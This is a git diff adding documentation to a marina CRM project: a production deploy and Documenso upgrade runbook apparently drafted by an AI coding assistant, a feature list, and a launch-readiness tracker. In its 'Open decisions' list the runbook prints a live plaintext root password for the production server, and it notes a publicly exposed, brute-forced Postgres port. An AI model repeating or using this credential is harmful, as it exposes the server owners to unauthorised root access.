mistake). +- Reading build logs: `GET /api/v1/repos/letsbe/pn-new-crm/actions/tasks` + (run status) + per-job logs; latest `main` build is **success**. + +--- + +## How builds reach prod + +`git push origin main` → Gitea Actions `.gitea/workflows/build.yml`: + +1. **lint** job: `pnpm lint` + `pnpm exec tsc --noEmit`. +2. **build-and-push** job (main only): builds `Dockerfile` → `crm-app` and + `Dockerfile.worker` → `crm-worker`, pushes `:latest` + `:` to the + Gitea registry. + +Prod **pulls** those images — it does not build. So a deploy is: +push → wait for green CI → `docker compose pull` + `up -d` on the server. + +--- + +## Prod stack (`docker-compose.prod.yml`) + +| Service | Image | Notes | +| ------------ | ---------------------------- | --------------------------------------------------------------- | +| `postgres` | `postgres:16-alpine` | self-contained, volume `pgdata` | +| `redis` | `redis:7-alpine` | self-contained, volume `redisdata` (BullMQ + socket.io adapter) | +| `crm-app` | registry `crm-app:latest` | **host `7100` → container `3000`** | +| `crm-worker` | registry `crm-worker:latest` | BullMQ worker | + +- **Storage:** no MinIO service in the compose — the CRM uses **external + MinIO** via `system_settings.storage_backend` + `getStorageBackend()`. + The existing prod MinIO (`:9000`, `s3.conf` / `minio.conf` nginx vhosts) + is the backend. Confirm bucket + keys (creds file §3). +- **Decision needed:** does the CRM get its **own** Postgres (the compose + default, isolated `pgdata`) or reuse an existing prod Postgres instance? + Default = the compose's own Postgres (cleanest isolation). Confirm. + +--- + +## Phase 1 — `crm.portnimara.com` go-live + +DNS already points `crm.portnimara.com` at the server. No `crm.portnimara` +nginx vhost exists yet (fresh setup). Template: `portnimara_dev.conf` +(reverse-proxy + Certbot pattern already in use on this box). + +### Pre-flight (no approval needed — prep only) + +- [ ] Assemble the prod `.env` for the CRM. Source of truth: `src/lib/env.ts` + (Zod schema) + `.env.example`. Critical keys: + - `APP_URL=https://crm.portnimara.com` + - `DATABASE_URL` (compose Postgres), `REDIS_*` + - storage / MinIO (endpoint, access/secret, bucket) — creds file §3 + - `DOCUMENSO_API_URL` (bare host, no `/api/v1`), `DOCUMENSO_API_VERSION`, API key + - better-auth secret, `WEBSITE_INTAKE_SECRET`, SMTP/IMAP + - **`EMAIL_REDIRECT_TO` MUST be unset in prod.** +- [ ] Server can pull from the registry: `docker login code.letsbe.solutions` + with a registry token (creds file §2 — generate a Gitea token; do + **not** bake the account password into the server). + +### Step 1 — nginx vhost (⚠ approval) + +1. Create `/etc/nginx/sites-available/crm_portnimara.conf` modelled on + `portnimara_dev.conf`: port-80 → 443 redirect + `.well-known/acme-challenge` + location; port-443 server `proxy_pass http://127.0.0.1:7100` with the same + header block (Host, X-Real-IP, CF-Connecting-IP, X-Forwarded-_, websocket + `Upgrade`/`Connection` for socket.io), `client_max_body_size 64M`, + `proxy_read_timeout 300`, buffering off. **HTTP-only first** (no `ssl\__` + lines yet) so Certbot can complete the challenge. +2. Symlink into `sites-enabled/`. +3. `sudo nginx -t` — must pass. Then `sudo systemctl reload nginx`. + +### Step 2 — TLS cert (⚠ approval) + +- `sudo certbot --nginx -d crm.portnimara.com` — pulls + installs the cert, + rewrites the vhost with the managed `ssl_certificate` lines + 80→443 + redirect. Re-run `sudo nginx -t` + reload. + +### Step 3 — bring up the container (⚠ approval) + +1. Place `docker-compose.prod.yml` + the prod `.env` in the deploy dir + (e.g. `/opt/pn-crm` — confirm location). +2. `sudo docker login code.letsbe.solutions` (registry token). +3. `sudo docker compose -f docker-compose.prod.yml pull`. +4. `sudo docker compose -f docker-compose.prod.yml up -d`. +5. **Watch for errors:** `sudo docker compose logs -f crm-app crm-worker`. +6. Apply schema: migrations via `psql` (per CLAUDE.md `db:migrate` is broken) + or the app's push path — confirm the prod migration approach. +7. Seed/bootstrap the port + admin user as needed. + +### Verify + +- [ ] `curl -fsS https://crm.portnimara.com/api/public/health` → `{status:"ok"...}` +- [ ] Authenticated health w/ `X-Intake-Secret` → `{checks:{db,redis}}` +- [ ] Login loads, branding renders, a berth list + a deal render. +- [ ] socket.io realtime connects (websocket upgrade through nginx works). +- [ ] No `42703` column errors (restart `crm-app` after any schema change). + +--- + +## Phase 2 — Documenso v1.13.1 → v2.x upgrade (VITAL — execute SOBER, heavily gated) + +> **Do not execute while impaired.** This is the production signing system. +> Every mutating step needs an explicit, sober go/no-go. The runbook below is +> reference; the actual run is a scheduled session. + +### Verified facts (2026-05-31 recon + research) + +| Item | Value | +| --------------- | ---------------------------------------------------------------------------------------------------------------------------------- | +| Current version | `documenso/documenso:v1.13.1` (Oct 2025 — last v1) | +| Latest version | **`v2.11.0`** (May 2026). Path: 1.13.1 → 2.0.0 → … → 2.11.0 (major jump) | +| Compose | `/root/docker-compose/documenso/docker-compose.yml` (project `documenso-production`, services `documenso` + `database`) | +| DB | `postgres:15`, db `documenso_db`, user `admin`, vol `documenso-production_documenso-database` → `/var/lib/postgresql/data` | +| App port | container `3000` → host `3020`; served at `https://signatures.portnimara.dev` (nginx `documenso.conf`, direct — **no Cloudflare**) | +| Storage | external MinIO, bucket `signatures` @ `s3.portnimara.com`, region `eu-central-1` | +| Signing cert | `/opt/documenso/certificate.p12` (+ passphrase in env) | + +**Research conclusions (sources in chat):** + +- **v1 API survives in v2** — _"API V1 is stable but deprecated; nothing breaks."_ So the CRM keeps working on v1 API; flip to v2 later. (Will be **explicitly re-tested against the clone in Phase 0** before committing.) +- **Postgres 15 is v2's official DB** — no DB-engine upgrade needed. +- **Env vars carry over unchanged**; only `NEXTAUTH_URL` is dropped in v2 (auth now derives from `NEXT_PUBLIC_WEBAPP_URL`, already set correctly) — harmless leftover. +- Upgrade = pull new image + restart; `prisma migrate deploy` auto-runs all pending migrations on startup. +- **Known migration-failure history** (issue #1880: NOT-NULL column added without backfill). 1.13.1 is past that one, but it's the failure pattern to expect — hence the clone dry-run. +- The login bounce (non-`Secure` cookie / `NEXTAUTH_URL` quirk) is plausibly fixed in v2's reworked auth, but treat that as a hoped-for bonus, not the goal. + +### Locked decisions (per Matt, 2026-05-31) + +- Dry-run on a clone first: **yes**. Target **latest v2.11.0**, staged through v2.0.0. +- **No-downtime caveat:** true zero-downtime is **not possible** (migrations run on restart). Goal = brief + pre-rehearsed: validate fully on the clone, pre-pull the image, then a fast prod cutover in a low-traffic window. +- CRM stays on Documenso **v1 API** after upgrade. +- Backups: `pg_dump` + cert + compose/env pulled to the Mac (`private/documenso-backups/`, gitignored) **and** a cold volume snapshot kept on-server for fastest rollback. +- Privilege: root via `su` (stefan isn't in the docker group; sudo needs a password we don't have — root pass works for `su`). + +### Phase 0 — Dry-run on a disposable clone (zero prod risk) + +- [ ] `pg_dump -Fc documenso_db` (live, no downtime) → restore into a throwaway `postgres:15` + `documenso:v2.11.0` stack on a **different compose project + port**, with a copy of the signing cert. +- [ ] Watch `prisma migrate deploy` run the full 1.13.1→2.11.0 chain. Confirm: all migrations succeed, app boots, **login works**, existing documents render. +- [ ] **Re-test the CRM's v1 API calls** against the clone → expect 200s. +- [ ] If a migration fails: capture it, fix forward (or decide a target version that's clean) BEFORE touching prod. + +### Phase A — Prod backups (after Phase 0 passes; verified before any change) + +- [ ] `pg_dump -Fc documenso_db` → pull to `private/documenso-backups/` on the Mac (off-box). Plus a plain SQL dump. +- [ ] Cold volume snapshot: stop stack → `tar` `documenso-production_documenso-database` → keep on-server + copy off. (This is the gold rollback — Prisma migrations aren't reversible.) +- [ ] Copy compose file + env + `/opt/documenso/{certificate.p12,private.key,certificate.crt}`. +- [ ] **MinIO `signatures`**: read-only object inventory (`{key,size,lastModified,etag}`) + DB→storage-key mapping export (Document/DocumentData → storage key) so files can be re-matched if linkage breaks. +- [ ] Test-restore the dump into a throwaway PG15; record SHA-256s. + +### Phase B — Collation pre-fix (low risk; validate need on the clone first) + +- [ ] `REFRESH COLLATION VERSION` on `documenso_db` (+ `template1`/`postgres`) + reindex, so the libc 2.36→2.41 mismatch can't interfere with migration index ops. + +### Phase C — Prod upgrade (staged, pinned tags, low-traffic window) + +- [ ] Pre-pull images. Edit compose: `v1.13.1 → v2.0.0` → `up -d` → watch migration logs → verify. +- [ ] Then `v2.0.0 → v2.11.0` → verify. Keep `postgres:15`. + +### Phase D — Verify + +- [ ] Login works; an existing completed envelope's PDF resolves from MinIO; send a test envelope; **webhook reaches the CRM** (`X-Documenso-Secret`, idempotent `handleDocumentCompleted`); reminders/void work. +- [ ] CRM unchanged (still v1 API). + +### Phase E — Rollback (any failure) + +- [ ] Revert image tag + restore the volume snapshot (and/or DB dump) → back to v1.13.1 exactly. + +> Until Phase 0 passes AND a sober Phase A/C is explicitly approved step-by-step, **do not touch the Documenso container, DB, volumes, or `/opt/documenso`.** + +--- + +## Open decisions / what I need from you + +1. ✅ MinIO creds filled; Documenso DB creds filled (creds file §3/§4). Still need the Documenso **API token** + **webhook secret** (generate after login as `matt@portnimara.com`). +2. **Verify the root/sudo password** (`IpMKQ0TW56ovv80` — confirmed it works for `su` to root; not stefan's sudo password). +3. **CRM Postgres:** own (compose default) or reuse an existing instance? +4. **Deploy dir** for the CRM on the server (`/opt/pn-crm`?). +5. **Registry pull token** — Gitea token for `docker login` on the server. +6. ✅ Documenso target = **v2.11.0**, staged, clone-validated first. +7. **Maintenance window** for the (brief, unavoidable) Documenso restart downtime. +8. **Off-box backup destination confirmed** = Mac `private/documenso-backups/` + on-server volume snapshot. + +## Progress log + +- 2026-05-31: Access established (SSH + Gitea API). Read-only recon done + (nginx templates, prod compose, host port 7100). CRM deploy plan drafted. + Documenso fully diagnosed read-only (v1.13.1, healthy app+DB, login issue = + wrong email `@letsbe` vs `@portnimara.com` + a non-Secure-cookie quirk; + 5432 publicly exposed + brute-forced; libc collation mismatch). Researched + v2 upgrade (v2.11.0 latest, PG15 ok, env vars carry over, v1 API survives). + Upgrade runbook drafted. **No prod changes made; no backups taken.** +- 2026-06-01: **Phase 0 dry-run PASSED (local, zero prod impact).** Read-only + `pg_dump` of prod (3.5 MB — metadata only) → restored into a throwaway + `postgres:15` → booted `documenso:v2.11.0` against it. Result: full + v1.13.1→v2.11.0 chain applied cleanly (`All migrations have been +successfully applied`, 140→157, none unfinished), app boots (home 302, + signin 200, v2 api 200), and **v1 API still answers (400 not 404) → CRM + safe**. Dump saved at `private/documenso-backups/` (off-box backup). + Dry-run stack **torn down 2026-06-01** after the pass (`docker compose +-p documenso-dryrun down -v` — containers + anonymous volume + network + removed; restored clone gone, off-box dump retained). Compose file kept + at `private/documenso-dryrun/docker-compose.yml` for a re-run. Prod + still untouched. diff --git a/docs/features-list.md b/docs/features-list.md new file mode 100644 index 00000000..2f1b8363 --- /dev/null +++ b/docs/features-list.md @@ -0,0 +1,234 @@ +# Port Nimara CRM — Feature List + +A complete, purpose-built CRM for marina/port management: a single integrated workspace for sales, berths, documents, communications, and reporting, with the public website's berth feed and enquiry intake flowing directly into it. Multi-tenant by design — one branded instance per port. + +> Scope note: this list covers the features ready for the beta launch. The new client portal, the tenancies module, and the new invoicing module are still being finalised and are not included here. + +--- + +## Platform foundations + +Apply across every feature area: + +- **Purpose-built relational database (PostgreSQL)** modelled specifically for marina sales — fast on large data sets, rich relationships between entities (clients, companies, yachts, berths, deals, documents), and enforced data integrity. +- **Real-time updates.** Edits, stage changes, file attachments, and completed signings propagate to every open window within a second. +- **Per-port branding and configuration.** Each port has its own URL slug, logo, primary colour, default currency, timezone, and email templates, applied automatically to emails, PDFs, and the in-app shell. +- **Granular role-based permissions.** Defined per resource (clients, berths, documents, expenses, reports, etc.) with separate view / create / edit / delete / export verbs. Per-user overrides on top of per-role definitions. +- **Full audit trail.** Every meaningful change (who, what, before-and-after, when) recorded, retained 90 days, and searchable — surfaced in the activity feed, field-history popovers, and admin audit log. +- **Backups and operational tooling.** Automatic daily database backups, weekly cleanup, configurable retention, and a built-in system-monitoring dashboard. +- **Background job queue.** PDF generation, email sending, exports, webhook retries, and bounce polling run on a managed queue so the interface stays responsive. +- **GDPR-ready.** One-click Article 15 data exports per client, automatic 30-day cleanup of export bundles, and a permissioned hard-delete flow for Article 17 requests. +- **Pluggable file storage.** Object storage (S3-compatible) by default, with a one-command migration script to switch backends. + +--- + +## 1. Sales pipeline + +- **Kanban board** across seven canonical stages (Enquiry → Qualified → Nurturing → EOI → Reservation → Deposit Paid → Contract) with drag-and-drop, per-column counts, and completed-deal hiding. +- **List view** with sorting, filtering, paging, card / table toggle, bulk actions, and saved views per user. +- **Deal detail page** with tabs for overview, EOI, contract, reservation, documents, contact log, notes, and timeline. Every field is inline-editable in place. +- **Multi-berth interests.** A single deal can attach multiple berths with three independent flags: which berth is primary, which are publicly "under offer", and which are included in the EOI bundle. +- **Auto-advancing stages.** Deposits hitting their expected amount, EOI completion, contract signing, etc. move the deal forward automatically; staff can override. +- **Pipeline rules engine.** Seven configurable triggers (EOI sent, EOI signed, deposit received, contract signed, deal archived, deal completed, berth unlinked), each with auto / suggest / off modes and a per-port target berth status. Admin-tunable. +- **Outcomes.** Terminal outcomes (won, lost to another marina, lost unqualified, lost no response, cancelled) captured via an outcome dialog with required reason. +- **Tags, notes, contact log, and activity timeline** on every deal. +- **Saved views and recently-viewed.** Pin reusable filter+sort snapshots; recently-viewed items appear in the topbar. +- **Lead scoring badge** and **qualification checklist.** Per-port qualifying criteria are admin-defined; each deal shows a checklist and derived score. +- **Bulk actions.** Change stage, add/remove tags, archive — with confirmation dialogs and audit-logged outcomes. +- **Pipeline summary on each client.** All open and historic deals roll up onto the client detail page. + +--- + +## 2. Berths + +- **Catalog with list and card views**, filterable by status, area, and dimensions; every field inline-editable on the detail page. +- **Public berth feed** at `/api/public/berths` and `/api/public/berths/[mooringNumber]` for the marketing site; status computed with a clear precedence (Sold > Under Offer > Available), served from a 5-minute cache. +- **Versioned per-berth PDFs.** Every upload creates a new version; the current version is live. Three-tier automatic parsing (form-fields → OCR → optional AI), with mooring-number mismatch flagging. +- **Per-port brochures.** Multiple brochures per port with one enforced default; same upload + version flow as berth PDFs. +- **Send-berth-PDF dialog.** Branded email composition that attaches the berth PDF (or a signed-URL link when over the size threshold). +- **Berth recommender.** Pure-SQL ranking surfacing matching berths per deal via a four-tier ladder (A/B/C/D); Tier B uses heat scoring with admin-configurable weights. +- **Demand heat scoring.** Per-berth demand intensity, shown on the dashboard widget and each berth's detail panel. +- **Active interests popover.** Hover/tap any berth to see which deals are currently linked. +- **Bulk price edit.** A sheet for updating prices across many berths at once. +- **Bulk-add berths wizard** for onboarding inventory in batches. +- **Catch-up wizard** to reconcile legacy state when migrating berth data. + +--- + +## 3. Yachts + +- **Polymorphic ownership.** A yacht can be owned by a client or a company; respected throughout search, documents, pipelines, and reports. +- **Ownership history.** Every transfer recorded with date and parties; previous owners visible from the yacht detail. +- **Yacht transfer dialog** for moving a yacht between owners (client → client, client → company, etc.) with audit trail. +- **Inline editing** of all dimensions and identifiers; dimensions normalised and validated. +- **Reusable yacht picker** — the same searchable picker appears when creating a deal, attaching a document, or filing under an entity. + +--- + +## 4. Companies & memberships + +- **Companies list and detail** with tabs for overview, members, owned yachts, and files. +- **Members management.** Add/remove members with active/inactive state and roles; membership reach feeds the documents projection so a client sees relevant company files automatically. +- **Polymorphic ownership.** Companies can own yachts and be the contractual party on a deal. +- **Files tab** showing both directly-attached files and files reaching through related entities. + +--- + +## 5. Clients + +- **Single detail page** with tabs for overview, deals, yachts, companies, files, contact log, and notes. +- **Inline editing everywhere** — name, addresses, phone numbers, emails, sales rep, communication preferences. +- **Multi-channel contacts.** Multiple emails and phone numbers per client, with primary flagging and canonical phone normalisation for reliable search and matching. +- **Audit-driven field history.** Per-field history icon shows who changed a value, when, and the previous value. +- **Tags, notes, and contact log** via shared components for a consistent experience. +- **Pipeline summary.** All a client's deals (open and closed) roll up onto the detail page. +- **Smart archive / smart restore.** Archiving cascades related state intelligently; restore previews exactly what comes back. +- **Hard-delete with bulk variant** behind a permission gate. +- **GDPR Article 15 export button.** One click queues a ZIP bundle (JSON + readable HTML) and emails a signed download link; auto-deletes after 30 days. +- **Dedup engine.** Surfaces probable duplicates and offers a merge flow that consolidates linked records, notes, files, and audit trail. +- **Send-documents dialog** for branded multi-attachment sends from any client. + +--- + +## 6. Documents hub + +- **Folder tree** with nestable subfolders, drag-and-drop move, rename, and soft-rescue delete (children re-parent rather than disappear). +- **System folders per entity type** — `Clients/`, `Companies/`, `Yachts/` — auto-populated with per-entity subfolders on first use. +- **Auto-filing on signing.** When a signing envelope completes, the signed PDF lands in the correct entity folder automatically, based on who owns the deal. +- **Aggregated view across relationships.** A client's files plus files attached to their companies and yachts, grouped under clear headings (Directly Attached / From Company / From Yacht / From Client), each group capped for skimmability. +- **Rich file preview.** PDFs render inline; images preview at sensible sizes; everything else gets an icon, type label, and download. +- **Upload-for-signing dialog.** Send any file straight into a signing flow from the hub. +- **In-flight workflow tracker** — which envelopes are mid-signing across the aggregated reach. +- **Permissions** scoped by role: separate `view` and `manage_folders` verbs; system folders immutable via API. +- **Recent files** surfaced in the topbar and global search. + +--- + +## 7. EOI generation & document signing + +- **Two pathways from one model.** EOIs generated through document-signing templates (primary) or filled into the in-app EOI PDF directly; both share the same data context. +- **Multi-berth EOI ranges.** Bundled berths render a compact range ("A1–A3, B5–B7") in the Berth Number field; the CRM shows the full set as chips. Catalogued merge tokens are enforced at template-creation time. +- **Configurable signing order.** Parallel or sequential per port, with a tri-state default (use template default / always parallel / always sequential). +- **Automation modes** per deal: manual, sequential auto (advances on each signature), or concurrent auto (everyone signs at once). Mode changes audit-logged. +- **Idempotent webhook handling.** Retries don't double-write; status changes normalised across both supported API versions; 5-minute polling safety net for missed webhooks. +- **Rejection reasons captured** when a signer declines. +- **Reminders and voids** surfaced directly from the deal detail. +- **Embedded signing card** for in-app signing where appropriate. +- **External EOI upload.** Record an EOI signed outside the system (PDF + counterparty list). +- **Webhook health card** in admin showing recent deliveries, failures, and a "test now" action. +- **Per-port signing configuration** — provider instance, API key, signing order, redirect URL. + +--- + +## 8. Email send-outs + +- **Per-port branded templates.** Every transactional email (invites, signing notifications, residential and berth enquiries, contract comms, digests, etc.) shares one branded shell that applies the port's branding automatically. +- **Configurable send-from accounts.** Per-port human send-from (e.g. `sales@portnimara.com`) and automation send-from (e.g. `noreply@portnimara.com`). SMTP/IMAP credentials encrypted at rest; APIs return only "is set" markers. +- **Compose dialog** with rich body (markdown rendered safely with a strict allow-list), multi-attachment, and live preview. +- **Smart attachment handling.** Files over a per-port size threshold ship as 24-hour signed-URL links instead of attaching. +- **Send rate limit** (50 sends/user/hour) to protect deliverability. +- **Email audit log.** Every send recorded with recipient list, body, attachments, and links; admin-browsable. +- **Inbound bounce monitoring.** A scheduled job (every 15 minutes) reads non-delivery reports and matches them to the original send. +- **Email threads** — replies to a CRM-originated email are threaded under the original. +- **Tracked-link composer.** Per-recipient tracked links for open and click-through attribution. +- **Per-port template overrides** from admin, without code changes. +- **Notification digests.** Hourly digest assembled from each user's unread notifications above a threshold. + +--- + +## 9. Reports + +- **Sales report** with KPI strip (deals open, EOIs sent this month, deposits received, win rate, average days-in-stage, conversion by source, etc.), pipeline funnel, stage-velocity chart, source-conversion chart, rep leaderboard, deal-heat panel, win-rate-over-time line, and supporting detail tables. All filters (stage, lead category, outcome) apply live. +- **Operational report** with an operational heatmap and signing-box plot for spotting signing/operations bottlenecks. +- **Custom report builder (MVP).** Pick an entity, choose columns, pick a date range, and run. Four entities live at launch; more entities and column-level controls roll out incrementally. +- **Save / load / save-as templates.** Any report configuration saved as a named template with an optional shareable link, re-runnable on demand. +- **Scheduled runs.** Weekly, monthly, or quarterly cadences; runs on schedule and optionally emails recipients a branded PDF. Run history browsable in admin. +- **PDF exports** server-side rendered with a branded cover page; CSV and Excel exports available client-side from every list. +- **Status badges** for each scheduled run. +- **Charts** combining standard bars/lines/pies with dedicated heatmap and funnel rendering. + +--- + +## 10. Admin + +- **Organised admin surface** grouping all settings into clear domains: Brand & Communication, Sales Workflow, Catalog, Identity & Access, Inbox & Data Quality, Integrations, and System & Observability. +- **Permissions UI.** Browse roles, edit role definitions, browse users, and assign per-user overrides via a visual permission matrix. +- **Settings registry.** A single, validated source of truth for every configurable setting, scoped per port. +- **System monitoring dashboard.** Service health, queue depth, and reconcile state in one place. +- **Port configuration** for adding new ports with their own branding, currency, timezone, and email background. +- **Self-service customisation.** Tags, vocabularies, custom fields, and supplemental info-request forms that tenants can shape themselves, without engineering involvement. +- **Onboarding checklist** to guide new ports through setup. + +--- + +## 11. Search + +- **Topbar search across every entity** — clients, residential clients, yachts, companies, deals, berths, invoices, expenses, documents, files, reminders, brochures, tags, plus navigation/settings deep-links. +- **Multiple match strategies.** Full-text for documents, partial-word for names and titles, fuzzy trigram matching ("Jhon" finds "John"), canonical phone-number matching that ignores formatting, and direct ID lookup. +- **Affinity ranking.** Recently-touched results are promoted. +- **Cross-port super-admin pass.** Super-admins see other-port matches in a separate, clearly-labelled section. +- **Permission-aware.** Viewers don't see results they couldn't open. +- **Mobile search overlay** designed for thumb reach. +- **Highlighted match terms** in each result. +- **Admin search across the seven IA domains** — every admin page reachable from the topbar by keyword. + +--- + +## 12. Activity feed & notifications + +- **Dashboard activity widget** showing recent meaningful events across the port. +- **Per-entity activity feed** on every client, deal, berth, yacht, and company detail page. +- **Standardised verb vocabulary** — created, updated, archived, restored, merged, transferred, sent, signed, completed, rejected, voided, etc. Legacy events re-mapped to the current vocabulary. +- **My reminders rail** on the dashboard surfacing due and overdue follow-ups. +- **Reminders engine** with admin configuration (cadence, severity, recipients). +- **Alert engine.** Rule-based alerts evaluated every 5 minutes; admins define rules, the engine generates notifications when they fire. +- **In-app inbox** in the topbar. +- **Hourly notification digest email** when unread items pass a threshold. + +--- + +## 13. Analytics + +- **Website-analytics dashboard** in the CRM: realtime visitors panel, world map, sessions list, session detail sheet, weekly heatmap, pageviews chart, top referrers / pages / devices, and per-metric detail shells. +- **Per-port project linking** to a website analytics project — CRM outcome events (EOI sent, deposit received, etc.) cross-post so marketing and sales metrics share a timeline. +- **Email-open pixel.** Branded sends include an open-tracking pixel; opens recorded against the original send and shown in the send audit log. + +--- + +## 14. Mobile & responsive design + +- **Dedicated mobile shell** on small viewports: mobile topbar, bottom tab bar, and a "more" sheet for overflow navigation. +- **Card mode toggle on every list** — switch between table and card view; card view defaults on mobile. +- **Mobile search overlay** designed for thumb reach. +- **Responsive tab strips** that collapse intelligently. +- **Touch-tuned form controls** — phone input, country picker, and timezone picker built for mobile keyboards. + +--- + +## 15. Security & compliance + +- **Authentication via `better-auth`** with session cookies; branded login, reset-password, and set-password surfaces. +- **CRM invitations** via a token-based admin-driven invite flow. +- **Granular RBAC.** Per-resource, per-action permissions applied at the service layer, not just the UI. +- **Audit log everywhere.** All meaningful actions recorded with severity tier; 90-day retention configurable. +- **GDPR Article 15 exports** (one-click bundle, signed download, 30-day cleanup) and Article 17 hard-delete with restore preview. +- **PII masking at audit-write time.** +- **Magic-byte PDF validation** on every upload path (in-server and presigned-PUT). +- **Timing-safe webhook verification** for document-signing callbacks. +- **Defense-in-depth port scoping** on every aggregated query — joins double-check `port_id`. +- **30-second timeouts on object-storage calls** so a slow host can't stall the application. +- **Per-port encryption-at-rest** for SMTP/IMAP credentials. +- **Pre-commit hooks block accidental secret commits** (`.env` files including `.env.example`). + +--- + +## 16. Multi-tenancy at port level + +- **Per-port URL slug** — own URL prefix, brand, and configuration. +- **Per-port branding** — logo, primary colour, default currency, timezone, branded email background. +- **Per-port email templates** — every transactional template overridable per port from admin. +- **Per-port signing configuration** — provider API version, API key, signing order, redirect URL. +- **Per-port storage backend** — S3-compatible or filesystem, switchable via migration script. +- **Per-port currency and timezone** flowing through the scheduler, dashboard timezone-drift banner, recommender deposit defaults, and every report. +- **Per-port sales settings** — qualification criteria, pipeline rules, recommender weights, send-from accounts, and AI budgets, all scoped to the port. +- **Cross-port super-admin search** — super-admins see other-port matches in a clearly-labelled secondary section; otherwise queries scope to the current port. diff --git a/docs/launch-readiness.md b/docs/launch-readiness.md new file mode 100644 index 00000000..cb501694 --- /dev/null +++ b/docs/launch-readiness.md @@ -0,0 +1,646 @@ +# Launch Readiness — Pre-Prod Initiative + +> **Scope:** the user enumerated five launch-blocking initiatives on +> 2026-05-27. This doc is the single home for all of them so we can +> track progress without losing items between sessions. Companion to +> `docs/superpowers/audits/active-uat.md` (which keeps the live UAT +> findings) and `docs/BACKLOG.md` (master backlog index). +> +> Status tags per item: `OPEN | IN PROGRESS | SHIPPED in | BLOCKED | DEFERRED`. + +## Initiative 1 — Reports overhaul + +**Status:** IN PROGRESS · Active phase + +Goals (per user, 2026-05-27): + +- Cover all four report categories: **Sales performance**, **Financial**, + **Marketing / funnel**, **Operational**. +- Template system: load template → modify → re-save OR save as new. +- Rich data density: more charts, more graphs, more KPIs. +- Output formats: **PDF + CSV + Excel** for each report. +- Scheduled reports: cron-driven; auto-email is **optional** (so the + admin can schedule a run without forcing an email blast). +- Custom builder: full ad-hoc (pick entity, columns, filters, group-by), + save as template — but quality-first; we don't ship a janky composer. +- UI/UX: stunning, fluid, beautiful. Within the existing white/navy + brand language — no off-brand experimental themes. + +Decisions locked (2026-05-27): + +- **Currency**: port branding default +- **Rep visibility**: port-scoped admin setting (default depends on + team size; PN is single-rep so default = full team) +- **AR aging buckets**: standard 30-day (current / 1-30 / 31-60 / + 61-90 / 90+) +- **Custom builder entity scope**: all 10 entities +- **Pulse data**: fold into Sales report +- **Inquiry-link audit**: yes, audit + fix; no website-repo edits + required for the audit itself (link logic is server-side) +- **Scope cut for launch**: Sales + Operational ship first as + fully-functional reports; Marketing + Financial ship in tandem with + their data sources being wired (see Initiatives 2c + 2d below). + +Phases (status snapshot 2026-05-27): + +1. ✅ Foundation + UX overhaul — landing page (within existing + design system); charts library audit done; ExcelJS installed. +2. ✅ Sales Performance + Operational builders — full report pages + with KPIs / charts / tables; client-side Export to CSV + Excel + + PDF; server-side PDF endpoint for branded output. _See gaps + below._ +3. ❌ Marketing report — NOT BUILT. Pending Init 1b cutover. + **Beta gate (2026-06-02):** the `marketing` kind in + `reports/[kind]/page.tsx` now returns `notFound()` (via + `UNAVAILABLE_NEW_KINDS`) instead of the "in development" placeholder, + so the beta reports surface reads as complete — the landing page only + advertises Sales / Operational / Financial / Custom, and the + hand-typed `/reports/marketing` URL 404s. **Remove the + `UNAVAILABLE_NEW_KINDS` entry when this report ships.** Decision: keep + the reports page live for beta rather than hiding it behind a module + toggle — 3 of 4 reports are fully built + verified (export, templates, + scheduling) and strictly beat the dashboard-only fallback. +4. ✅ Financial report — **SHIPPED in b690fb8d.** Built on the canonical + payments + expenses tables (invoices module stays OFF); the + invoice-centric spec was reframed onto the payments model + ("outstanding AR" → expected-deposit shortfall; "AR aging" → + outstanding deposits by deal age). 7 KPIs, 6 charts, 4 tables, port- + currency normalised, 1y default range, templates + export. Marketing + is the only remaining unbuilt report. +5. ⚠️ Custom (ad-hoc) report builder — partial ship. +6. ✅ Scheduled reports with optional emailing — BullMQ poll + + render path live; recipients optional; PDF-only output. +7. ✅ Templates — load / modify / save / save-as / URL deep-link. + +Open considerations carried forward: + +- **Chart library mix.** Project already has `recharts` (simple bar/line/pie) + and `echarts` (heatmaps, funnels, complex). Lean on each where it fits; + don't add a third unless something specific is missing. +- **PDF cover-page treatment.** Each report PDF should open with a + branded cover (port logo, title, date range, generated-on stamp). Reuse + the existing `branded-document.tsx` shell. + +Working spec: `docs/reports-content-spec.md` (per-category KPIs + +charts + tables proposed; updated as we walk through each). + +### Reports — what's left (gap audit 2026-05-27) + +Comparing the working spec against shipped code, here's the bucketed +backlog. **Items marked LAUNCH-BLOCK** are needed for the beta cutover; +everything else is post-launch polish unless promoted. + +#### Cross-cutting capabilities (apply to every report) + +- ⚠️ **Period comparison toggle** — "this period vs prior period" delta + arrows on KPI cards. **Sales: SHIPPED locally (2026-05-31)** — a + "Compare to prior period" toggle in the header computes an + equal-length preceding window (`previousPeriodBounds`), the API + recomputes KPIs for that window behind `?compare=1`, and the five + window-derived tiles (Won, Lost, Win rate, Avg time-to-close, New + leads) render colour-correct "vs prior" deltas. Point-in-time tiles + (Active interests, Pipeline value) intentionally have no delta. + Persisted in the saved-template config. TDD'd: + `previousPeriodBounds` + `computeSalesKpiComparison` unit tests. + Operational already rendered period-start deltas. **Still open:** the + spec's "on every report" — Operational uses a different + "vs period start" baseline; reconcile the two semantics if a single + consistent comparison is wanted. +- ✅ **Rep multi-select filter** — **SHIPPED in b97f6e94** (Sales). + Dynamic "Assigned to" multi-select populated from a window-independent + `getRepFilterOptions` (distinct assigned reps port-wide); hidden when + the port has no assigned interests. +- ✅ **Source multi-select filter** — **SHIPPED in b97f6e94** (Sales). + Static Source multi-select (website / manual / referral / broker / + other) allowlisted against `SOURCES`. Both filters thread through the 5 + filtered Sales queries via a pure, unit-tested `parseSalesFilters`. + _Still open: replicate both on Operational + the other report pages._ +- ✅ **Empty-state copy per report** — **SHIPPED (2026-06-02).** A + window-independent `hasData` flag on the Sales / Operational / + Financial routes drives a shared `` hero (named icon + - one-line body + onboarding action button) when the port has no + underlying data at all — distinct from the per-chart "no data in this + window" states, which already degraded gracefully. Targets: Sales → + Interests, Operational → Berths, Financial → Expenses. Spec: + `docs/superpowers/specs/2026-06-02-reports-polish-design.md`. + +#### Phase 2 — Sales report gaps + +- ✅ **Operational-style filter set on Sales** — stage / lead-cat / + outcome + period comparison + rep multi-select + source multi-select + all shipped (rep/source in b97f6e94). Sales filter set is complete. + +#### Phase 2 — Operational report gaps + +- ⚠️ **Operational-specific filters**: **Area SHIPPED (2026-06-02)** — + a berth-area scope (`parseOperationalFilters` + + `getOperationalAreaOptions`, threaded through the 5 berth-derived + service fns) re-queries the berth-count KPIs, occupancy-by-area, + utilisation heatmap, and vacant lists for the selected areas; trend + + tenancy/signing/docs 